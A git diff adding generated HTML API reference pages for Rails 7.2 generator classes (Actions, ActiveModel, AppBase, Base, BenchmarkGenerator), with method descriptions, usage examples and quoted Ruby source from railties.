+        log :lib, filename
+        data ||= yield if block_given?
+        create_file("lib/#{filename}", optimize_indentation(data), verbose: false)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rails_command(command, options = {}) + +

+ + +
+

Runs the specified Rails command.

+ +
rails_command "db:migrate"
+rails_command "db:migrate", env: "production"
+rails_command "db:migrate", abort_on_failure: true
+rails_command "stats", capture: true
+rails_command "gems:install", sudo: true
+
+ +

Options

+
:env +
+

The Rails environment in which to run the command. Defaults to ENV["RAILS_ENV"] || "development".

+
:abort_on_failure +
+

Whether to halt the generator if the command exits with a non-success exit status.

+
:capture +
+

Whether to capture and return the output of the command.

+
:sudo +
+

Whether to run the command using sudo.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 391
+      def rails_command(command, options = {})
+        if options[:inline]
+          log :rails, command
+          command, *args = Shellwords.split(command)
+          in_root do
+            silence_warnings do
+              ::Rails::Command.invoke(command, args, **options)
+            end
+          end
+        else
+          execute_command :rails, command, options
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rake(command, options = {}) + +

+ + +
+

Runs the specified Rake task.

+ +
rake "db:migrate"
+rake "db:migrate", env: "production"
+rake "db:migrate", abort_on_failure: true
+rake "stats", capture: true
+rake "gems:install", sudo: true
+
+ +

Options

+
:env +
+

The Rails environment in which to run the task. Defaults to ENV["RAILS_ENV"] || "development".

+
:abort_on_failure +
+

Whether to halt the generator if the task exits with a non-success exit status.

+
:capture +
+

Whether to capture and return the output of the task.

+
:sudo +
+

Whether to run the task using sudo.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 364
+      def rake(command, options = {})
+        execute_command :rake, command, options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rakefile(filename, data = nil) + +

+ + +
+

Creates a Rake tasks file in lib/tasks/. The code can be specified as an argument or as the return value of the block.

+ +
rakefile "bootstrap.rake", <<~RUBY
+  task :bootstrap do
+    puts "Boots! Boots! Boots!"
+  end
+RUBY
+
+rakefile "bootstrap.rake" do
+  project = ask("What is the UNIX name of your project?")
+
+  <<~RUBY
+    namespace :#{project} do
+      task :bootstrap do
+        puts "Boots! Boots! Boots!"
+      end
+    end
+  RUBY
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 302
+      def rakefile(filename, data = nil)
+        log :rakefile, filename
+        data ||= yield if block_given?
+        create_file("lib/tasks/#{filename}", optimize_indentation(data), verbose: false)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + readme(path) + +

+ + +
+

Reads the given file at the source root and prints it in the console.

+ +
readme "README"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 442
+      def readme(path)
+        log File.read(find_in_source_paths(path))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + route(routing_code, namespace: nil) + +

+ + +
+

Make an entry in Rails routing file config/routes.rb

+ +
route "root 'welcome#index'"
+route "root 'admin#index'", namespace: :admin
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 409
+      def route(routing_code, namespace: nil)
+        namespace = Array(namespace)
+        namespace_pattern = route_namespace_pattern(namespace)
+        routing_code = namespace.reverse.reduce(routing_code) do |code, name|
+          "namespace :#{name} do\n#{rebase_indentation(code, 2)}end"
+        end
+
+        log :route, routing_code
+
+        in_root do
+          if namespace_match = match_file("config/routes.rb", namespace_pattern)
+            base_indent, *, existing_block_indent = namespace_match.captures.compact.map(&:length)
+            existing_line_pattern = /^[ ]{,#{existing_block_indent}}\S.+\n?/
+            routing_code = rebase_indentation(routing_code, base_indent + 2).gsub(existing_line_pattern, "")
+            namespace_pattern = /#{Regexp.escape namespace_match.to_s}/
+          end
+
+          inject_into_file "config/routes.rb", routing_code, after: namespace_pattern, verbose: false, force: false
+
+          if behavior == :revoke && namespace.any? && namespace_match
+            empty_block_pattern = /(#{namespace_pattern})((?:\s*end\n){1,#{namespace.size}})/
+            gsub_file "config/routes.rb", empty_block_pattern, verbose: false, force: true do |matched|
+              beginning, ending = empty_block_pattern.match(matched).captures
+              ending.sub!(/\A\s*end\n/, "") while !ending.empty? && beginning.sub!(/^[ ]*namespace .+ do\n\s*\z/, "")
+              beginning + ending
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + vendor(filename, data = nil) + +

+ + +
+

Creates a file in vendor/. The contents can be specified as an argument or as the return value of the block.

+ +
vendor "foreign.rb", <<~RUBY
+  # Foreign code is fun
+RUBY
+
+vendor "foreign.rb" do
+  "# Foreign code is fun"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 258
+      def vendor(filename, data = nil)
+        log :vendor, filename
+        data ||= yield if block_given?
+        create_file("vendor/#{filename}", optimize_indentation(data), verbose: false)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + execute_command(executor, command, options = {}) + +

+ + +
+

Runs the supplied command using either β€œrake …” or β€œrails …” based on the executor parameter provided.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 461
+        def execute_command(executor, command, options = {}) # :doc:
+          log executor, command
+          sudo = options[:sudo] && !Gem.win_platform? ? "sudo " : ""
+          config = {
+            env: { "RAILS_ENV" => (options[:env] || ENV["RAILS_ENV"] || "development") },
+            verbose: false,
+            capture: options[:capture],
+            abort_on_failure: options[:abort_on_failure],
+          }
+
+          in_root { run("#{sudo}#{Shellwords.escape Gem.ruby} bin/#{executor} #{command}", config) }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + indentation() + +

+ + +
+

Indent the Gemfile to the depth of @indentation

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 494
+        def indentation # :doc:
+          "  " * @indentation
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + log(*args) + +

+ + +
+

Define log for backwards compatibility. If just one argument is sent, invoke say, otherwise invoke say_status. Differently from say and similarly to say_status, this method respects the quiet? option given.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 450
+        def log(*args) # :doc:
+          if args.size == 1
+            say args.first.to_s unless options.quiet?
+          else
+            args << (behavior == :invoke ? :green : :red)
+            say_status(*args)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + optimize_indentation(value, amount = 0) + +

+ + +
+

Returns optimized string with indentation

+
+ + + +
+ Also aliased as: rebase_indentation +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 487
+        def optimize_indentation(value, amount = 0) # :doc:
+          return "#{value}\n" unless value.is_a?(String)
+          "#{value.strip_heredoc.indent(amount).chomp}\n"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quote(value) + +

+ + +
+

Always returns value in double quotes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 475
+        def quote(value) # :doc:
+          if value.respond_to? :each_pair
+            return value.map do |k, v|
+              "#{k}: #{quote(v)}"
+            end.join(", ")
+          end
+          return value.inspect unless value.is_a? String
+
+          "\"#{value.tr("'", '"')}\""
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_indentation(&block) + +

+ + +
+

Manage Gemfile indentation for a DSL action block

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/actions.rb, line 499
+        def with_indentation(&block) # :doc:
+          @indentation += 1
+          instance_eval(&block)
+        ensure
+          @indentation -= 1
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/ActiveModel.html b/src/7.2/classes/Rails/Generators/ActiveModel.html new file mode 100644 index 0000000000..389c7187ac --- /dev/null +++ b/src/7.2/classes/Rails/Generators/ActiveModel.html @@ -0,0 +1,457 @@ +--- +title: Rails::Generators::ActiveModel +layout: default +--- +
+ +
+
+ +
+ +

ActiveModel is a class to be implemented by each ORM to allow Rails to generate customized controller code.

+ +

The API has the same methods as ActiveRecord, but each method returns a string that matches the ORM API.

+ +

For example:

+ +
ActiveRecord::Generators::ActiveModel.find(Foo, "params[:id]")
+# => "Foo.find(params[:id])"
+
+DataMapper::Generators::ActiveModel.find(Foo, "params[:id]")
+# => "Foo.get(params[:id])"
+
+ +

On initialization, the ActiveModel accepts the instance name that will receive the calls:

+ +
builder = ActiveRecord::Generators::ActiveModel.new "@foo"
+builder.save # => "@foo.save"
+
+ +

The only exception in ActiveModel for ActiveRecord is the use of self.build instead of self.new.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + name
+ + + + +

Class Public methods

+ +
+

+ + all(klass) + +

+ + +
+

Used for:

+
  • +

    GET index

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/active_model.rb, line 38
+      def self.all(klass)
+        "#{klass}.all"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build(klass, params = nil) + +

+ + +
+

Used for:

+
  • +

    GET new

    +
  • +

    POST create

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/active_model.rb, line 56
+      def self.build(klass, params = nil)
+        if params
+          "#{klass}.new(#{params})"
+        else
+          "#{klass}.new"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find(klass, params = nil) + +

+ + +
+

Used for:

+
  • +

    GET show

    +
  • +

    GET edit

    +
  • +

    PATCH / PUT update

    +
  • +

    DELETE destroy

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/active_model.rb, line 48
+      def self.find(klass, params = nil)
+        "#{klass}.find(#{params})"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/active_model.rb, line 31
+      def initialize(name)
+        @name = name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + destroy() + +

+ + +
+

Used for:

+
  • +

    DELETE destroy

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/active_model.rb, line 89
+      def destroy
+        "#{name}.destroy!"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + errors() + +

+ + +
+

Used for:

+
  • +

    POST create

    +
  • +

    PATCH / PUT update

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/active_model.rb, line 82
+      def errors
+        "#{name}.errors"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + save() + +

+ + +
+

Used for:

+
  • +

    POST create

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/active_model.rb, line 67
+      def save
+        "#{name}.save"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update(params = nil) + +

+ + +
+

Used for:

+
  • +

    PATCH / PUT update

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/active_model.rb, line 74
+      def update(params = nil)
+        "#{name}.update(#{params})"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/AppBase.html b/src/7.2/classes/Rails/Generators/AppBase.html new file mode 100644 index 0000000000..deb8d32776 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/AppBase.html @@ -0,0 +1,75 @@ +--- +title: Rails::Generators::AppBase +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/AppBase/GemfileEntry.html b/src/7.2/classes/Rails/Generators/AppBase/GemfileEntry.html new file mode 100644 index 0000000000..0859568d04 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/AppBase/GemfileEntry.html @@ -0,0 +1,315 @@ +--- +title: Rails::Generators::AppBase::GemfileEntry +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + floats(name, comment = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/app_base.rb, line 434
+        def self.floats(name, comment = nil)
+          new(name, nil, comment)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + github(name, github, branch = nil, comment = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/app_base.rb, line 422
+        def self.github(name, github, branch = nil, comment = nil)
+          if branch
+            new(name, nil, comment, github: github, branch: branch)
+          else
+            new(name, nil, comment, github: github)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(name, version, comment, options = {}, commented_out = false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/app_base.rb, line 418
+        def initialize(name, version, comment, options = {}, commented_out = false)
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + path(name, path, comment = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/app_base.rb, line 438
+        def self.path(name, path, comment = nil)
+          new(name, nil, comment, path: path)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version(name, version, comment = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/app_base.rb, line 430
+        def self.version(name, version, comment = nil)
+          new(name, version, comment)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/app_base.rb, line 442
+        def to_s
+          [
+            (comment.gsub(/^/, "# ").chomp + "\n" if comment),
+            ("# " if commented_out),
+            "gem \"#{name}\"",
+            *Array(version).map { |constraint| ", \"#{constraint}\"" },
+            *options.map { |key, value| ", #{key}: #{value.inspect}" },
+          ].compact.join
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/AppGenerator.html b/src/7.2/classes/Rails/Generators/AppGenerator.html new file mode 100644 index 0000000000..df92518cda --- /dev/null +++ b/src/7.2/classes/Rails/Generators/AppGenerator.html @@ -0,0 +1,114 @@ +--- +title: Rails::Generators::AppGenerator +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Private methods

+ +
+

+ + after_bundle(&block) + +

+ + +
+

Registers a callback to be executed after bundle binstubs have run.

+ +
after_bundle do
+  git add: '.'
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/app/app_generator.rb, line 602
+      def after_bundle(&block) # :doc:
+        @after_bundle_callbacks << block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Base.html b/src/7.2/classes/Rails/Generators/Base.html new file mode 100644 index 0000000000..22fa3ee3fa --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Base.html @@ -0,0 +1,1214 @@ +--- +title: Rails::Generators::Base +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + add_shebang_option!() + +

+ + +
+

Small macro to add ruby as an option to the generator with proper default value plus an instance helper method called shebang.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 396
+        def self.add_shebang_option! # :doc:
+          class_option :ruby, type: :string, aliases: "-r", default: Thor::Util.ruby_command,
+                              desc: "Path to the Ruby binary of your choice", banner: "PATH"
+
+          no_tasks {
+            define_method :shebang do
+              @shebang ||= begin
+                command = if options[:ruby] == Thor::Util.ruby_command
+                  "/usr/bin/env #{File.basename(Thor::Util.ruby_command)}"
+                else
+                  options[:ruby]
+                end
+                "#!#{command}"
+              end
+            end
+          }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + banner() + +

+ + +
+

Use Rails default banner.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 329
+        def self.banner # :doc:
+          "bin/rails generate #{namespace.delete_prefix("rails:")} #{arguments.map(&:usage).join(' ')} [options]".gsub(/\s+/, " ")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + base_name() + +

+ + +
+

Sets the base_name taking into account the current class namespace.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 334
+        def self.base_name # :doc:
+          @base_name ||= if base = name.to_s.split("::").first
+            base.underscore
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + base_root() + +

+ + +
+

Returns the base root for a common set of generators. This is used to dynamically guess the default source root.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 236
+      def self.base_root
+        __dir__
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_aliases_for_option(name, options) + +

+ + +
+

Returns default aliases for the option name given doing a lookup in Rails::Generators.aliases.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 357
+        def self.default_aliases_for_option(name, options) # :doc:
+          default_for_option(Rails::Generators.aliases, name, options, options[:aliases])
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_for_option(config, name, options, default) + +

+ + +
+

Returns default for the option name given doing a lookup in config.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 362
+        def self.default_for_option(config, name, options, default) # :doc:
+          if generator_name && (c = config[generator_name.to_sym]) && c.key?(name)
+            c[name]
+          elsif base_name && (c = config[base_name.to_sym]) && c.key?(name)
+            c[name]
+          elsif config[:rails].key?(name)
+            config[:rails][name]
+          else
+            default
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_generator_root() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 422
+        def self.default_generator_root # :doc:
+          path = File.expand_path(File.join(base_name, generator_name), base_root)
+          path if File.exist?(path)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_source_root() + +

+ + +
+

Returns the default source root for a given generator. This is used internally by Rails to set its generators source root. If you want to customize your source root, you should use source_root.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 227
+      def self.default_source_root
+        return unless base_name && generator_name
+        return unless default_generator_root
+        path = File.join(default_generator_root, "templates")
+        path if File.exist?(path)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_value_for_option(name, options) + +

+ + +
+

Returns the default value for the option name given doing a lookup in Rails::Generators.options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 351
+        def self.default_value_for_option(name, options) # :doc:
+          default_for_option(Rails::Generators.options, name, options, options[:default])
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + desc(description = nil) + +

+ + +
+

Tries to get the description from a USAGE file one folder above the source root otherwise uses a default description.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 41
+      def self.desc(description = nil)
+        return super if description
+
+        @desc ||= if usage_path
+          ERB.new(File.read(usage_path)).result(binding)
+        else
+          "Description:\n    Create #{base_name.humanize.downcase} files for #{generator_name} generator."
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generator_name() + +

+ + +
+

Removes the namespaces and get the generator name. For example, Rails::Generators::ModelGenerator will return β€œmodel” as generator name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 342
+        def self.generator_name # :doc:
+          @generator_name ||= if generator = name.to_s.split("::").last
+            generator.delete_suffix!("Generator")
+            generator.underscore
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hide!() + +

+ + +
+

Convenience method to hide this generator from the available ones when running rails generator command.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 61
+      def self.hide!
+        Rails::Generators.hide_namespace(namespace)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hook_for(*names, &block) + +

+ + +
+

Invoke a generator based on the value supplied by the user to the given option named β€œname”. A class option is created when this method is invoked and you can set a hash to customize it.

+ +

Examples

+ +
module Rails::Generators
+  class ControllerGenerator < Base
+    hook_for :test_framework, aliases: "-t"
+  end
+end
+
+ +

The example above will create a test framework option and will invoke a generator based on the user supplied value.

+ +

For example, if the user invoke the controller generator as:

+ +
$ bin/rails generate controller Account --test-framework=test_unit
+
+ +

The controller generator will then try to invoke the following generators:

+ +
"rails:test_unit", "test_unit:controller", "test_unit"
+
+ +

Notice that β€œrails:generators:test_unit” could be loaded as well, what Rails looks for is the first and last parts of the namespace. This is what allows any test framework to hook into Rails as long as it provides any of the hooks above.

+ +

Options

+ +

The first and last part used to find the generator to be invoked are guessed based on class invokes hook_for, as noticed in the example above. This can be customized with two options: :in and :as.

+ +

Let’s suppose you are creating a generator that needs to invoke the controller generator from test unit. Your first attempt is:

+ +
class AwesomeGenerator < Rails::Generators::Base
+  hook_for :test_framework
+end
+
+ +

The lookup in this case for test_unit as input is:

+ +
"test_unit:awesome", "test_unit"
+
+ +

Which is not the desired lookup. You can change it by providing the :as option:

+ +
class AwesomeGenerator < Rails::Generators::Base
+  hook_for :test_framework, as: :controller
+end
+
+ +

And now it will look up at:

+ +
"test_unit:controller", "test_unit"
+
+ +

Similarly, if you want it to also look up in the rails namespace, you just need to provide the :in value:

+ +
class AwesomeGenerator < Rails::Generators::Base
+  hook_for :test_framework, in: :rails, as: :controller
+end
+
+ +

And the lookup is exactly the same as previously:

+ +
"rails:test_unit", "test_unit:controller", "test_unit"
+
+ +

Switches

+ +

All hooks come with switches for user interface. If you do not want to use any test framework, you can do:

+ +
$ bin/rails generate controller Account --skip-test-framework
+
+ +

Or similarly:

+ +
$ bin/rails generate controller Account --no-test-framework
+
+ +

Boolean hooks

+ +

In some cases, you may want to provide a boolean hook. For example, webrat developers might want to have webrat available on controller generator. This can be achieved as:

+ +
Rails::Generators::ControllerGenerator.hook_for :webrat, type: :boolean
+
+ +

Then, if you want webrat to be invoked, just supply:

+ +
$ bin/rails generate controller Account --webrat
+
+ +

The hooks lookup is similar as above:

+ +
"rails:generators:webrat", "webrat:generators:controller", "webrat"
+
+ +

Custom invocations

+ +

You can also supply a block to hook_for to customize how the hook is going to be invoked. The block receives two arguments, an instance of the current class and the class to be invoked.

+ +

For example, in the resource generator, the controller should be invoked with a pluralized class name. But by default it is invoked with the same name as the resource generator, which is singular. To change this, we can give a block to customize how the controller can be invoked.

+ +
hook_for :resource_controller do |instance, controller|
+  instance.invoke controller, [ instance.name.pluralize ]
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 174
+      def self.hook_for(*names, &block)
+        options = names.extract_options!
+        in_base = options.delete(:in) || base_name
+        as_hook = options.delete(:as) || generator_name
+
+        names.each do |name|
+          unless class_options.key?(name)
+            defaults = if options[:type] == :boolean
+              {}
+            elsif [true, false].include?(default_value_for_option(name, options))
+              { banner: "" }
+            else
+              { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
+            end
+
+            class_option(name, defaults.merge!(options))
+          end
+
+          klass = self
+
+          singleton_class.define_method("#{name}_generator") do
+            value = class_options[name].default
+            Rails::Generators.find_by_namespace(klass.generator_name, value)
+          end
+
+          hooks[name] = [ in_base, as_hook ]
+          invoke_from_option(name, options, &block)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + namespace(name = nil) + +

+ + +
+

Convenience method to get the namespace from the class name. It’s the same as Thor default except that the Generator at the end of the class is removed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 54
+      def self.namespace(name = nil)
+        return super if name
+        @namespace ||= super.delete_suffix("_generator").sub(/:generators:/, ":")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_hook_for(*names) + +

+ + +
+

Remove a previously added hook.

+ +
remove_hook_for :orm
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 207
+      def self.remove_hook_for(*names)
+        remove_invocation(*names)
+
+        names.each do |name|
+          singleton_class.undef_method("#{name}_generator")
+          hooks.delete(name)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + source_root(path = nil) + +

+ + +
+

Returns the source root for this generator using default_source_root as default.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 34
+      def self.source_root(path = nil)
+        @_source_root = path if path
+        @_source_root ||= default_source_root
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + usage_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 414
+        def self.usage_path # :doc:
+          paths = [
+            source_root && File.expand_path("../USAGE", source_root),
+            default_generator_root && File.join(default_generator_root, "USAGE")
+          ]
+          paths.compact.detect { |path| File.exist? path }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Private methods

+ +
+

+ + extract_last_module(nesting) + +

+ + +
+

Takes in an array of nested modules and extracts the last module

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 287
+        def extract_last_module(nesting) # :doc:
+          nesting.inject(Object) do |last_module, nest|
+            break unless last_module.const_defined?(nest, false)
+            last_module.const_get(nest)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + indent(content, multiplier = 2) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 302
+        def indent(content, multiplier = 2) # :doc:
+          spaces = " " * multiplier
+          content.each_line.map { |line| line.blank? ? line : "#{spaces}#{line}" }.join
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + module_namespacing(&block) + +

+ + +
+

Wrap block with namespace of current application if namespace exists and is not skipped

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 296
+        def module_namespacing(&block) # :doc:
+          content = capture(&block)
+          content = wrap_with_namespace(content) if namespaced?
+          concat(content)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + namespace() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 312
+        def namespace # :doc:
+          Rails::Generators.namespace
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + namespaced?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 316
+        def namespaced? # :doc:
+          !options[:skip_namespace] && namespace
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + namespaced_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 324
+        def namespaced_path # :doc:
+          @namespaced_path ||= namespace_dirs.join("/")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wrap_with_namespace(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/base.rb, line 307
+        def wrap_with_namespace(content) # :doc:
+          content = indent(content).chomp
+          "module #{namespace.name}\n#{content}\nend\n"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/BenchmarkGenerator.html b/src/7.2/classes/Rails/Generators/BenchmarkGenerator.html new file mode 100644 index 0000000000..067c06b8f5 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/BenchmarkGenerator.html @@ -0,0 +1,128 @@ +--- +title: Rails::Generators::BenchmarkGenerator +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
IPS_GEM_NAME="benchmark-ips"
IPS_GEM_USED_REGEXP=/gem.*\b#{IPS_GEM_NAME}\b.*/
+ + + + + + + +

Instance Public methods

+ +
+

+ + generate_layout() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/rails/benchmark/benchmark_generator.rb, line 13
+      def generate_layout
+        add_ips_to_gemfile unless ips_installed?
+        template("benchmark.rb.tt", "script/benchmarks/#{file_name}.rb")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
